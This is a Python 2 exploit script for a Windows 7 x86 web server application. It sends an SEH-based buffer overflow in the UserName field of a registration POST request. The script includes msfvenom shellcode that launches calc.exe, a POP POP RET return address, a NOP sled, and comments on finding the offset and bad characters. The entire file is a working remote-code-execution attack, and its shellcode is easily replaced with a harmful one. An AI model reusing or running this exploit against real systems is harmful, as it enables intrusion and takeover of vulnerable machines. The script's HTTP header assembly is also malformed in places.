from struct import *
import os, sys, socket

# Exploit by tr3mb0
# Tested on win7 home edition x86

ip = "192.168.1.69"
port = 80

socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
socket.connect((ip , port))

# buffer = "A" * 725
# We get an exception - if we continue the execution , we can see on our EIP a bunch of 414141
# After sending the pattern_create , we continue the execution and copy the address in the EIP
# to get the exact offset -> !mona pattern_offset 34684133(addr) -> results in:  221


# !mona findmsp
# Message=    SEH record (nseh field) at 0x049f6e30 overwritten with normal pattern : 0x68413268 (offset 217), followed by 575 bytes of cyclic data after the handler

buffer = "A"*217
seh = pack ('<I', 0x10017F21) # POP POP RET
nseh = pack ('<I', 0x909032EB) # jmp


# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d\x25\x2b\x26\x27' -f c EXITFUNC=thread
buf = (
"\xb8\xa5\x50\xf3\xf3\xda\xcc\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x31\x31\x42\x13\x03\x42\x13\x83\xc2\xa1\xb2\x06\x0f\x41\xb0"
"\xe9\xf0\x91\xd5\x60\x15\xa0\xd5\x17\x5d\x92\xe5\x5c\x33\x1e"
"\x8d\x31\xa0\x95\xe3\x9d\xc7\x1e\x49\xf8\xe6\x9f\xe2\x38\x68"
"\x23\xf9\x6c\x4a\x1a\x32\x61\x8b\x5b\x2f\x88\xd9\x34\x3b\x3f"
"\xce\x31\x71\xfc\x65\x09\x97\x84\x9a\xd9\x96\xa5\x0c\x52\xc1"
"\x65\xae\xb7\x79\x2c\xa8\xd4\x44\xe6\x43\x2e\x32\xf9\x85\x7f"
"\xbb\x56\xe8\xb0\x4e\xa6\x2c\x76\xb1\xdd\x44\x85\x4c\xe6\x92"
"\xf4\x8a\x63\x01\x5e\x58\xd3\xed\x5f\x8d\x82\x66\x53\x7a\xc0"
"\x21\x77\x7d\x05\x5a\x83\xf6\xa8\x8d\x02\x4c\x8f\x09\x4f\x16"
"\xae\x08\x35\xf9\xcf\x4b\x96\xa6\x75\x07\x3a\xb2\x07\x4a\x50"
"\x45\x95\xf0\x16\x45\xa5\xfa\x06\x2e\x94\x71\xc9\x29\x29\x50"
"\xae\xd6\xcb\x71\xda\x7e\x52\x10\x67\xe3\x65\xce\xab\x1a\xe6"
"\xfb\x53\xd9\xf6\x89\x56\xa5\xb0\x62\x2a\xb6\x54\x85\x99\xb7"
"\x7c\xe6\x7c\x24\x1c\xc7\x1b\xcc\x87\x17")


buffer += nseh
buffer += seh
buffer += "\x90" * 80
buffer += buf

# bchars -> \x00  \x25  \x26  \x27  \x2b
#buffer += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
#buffer += "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
#buffer += "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
#buffer += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
#buffer += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
#buffer += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
#buffer += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
#buffer += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"



request = "POST /registresult.htm HTTP/1.1\r\n\r\n"
request += "Host: 192.168.1.11"
request += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
request += "Accept-Language: en-US,en;q=0.5"
request += "Accept-Encoding: gzip, deflate"
request += "Referer: http://192.168.1.11/register.ghp"
request += "Connection: close"

request += "Content-Type: application/x-www-form-urlencoded"
request += "UserName=" + buffer +"&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&Ro omID=4&RepUserName=admin&submit1=Register"

print("[!] Sending exploit - check for calc :-)")
socket.send(request)
data = socket.recv(4096)
print data

socket.close()


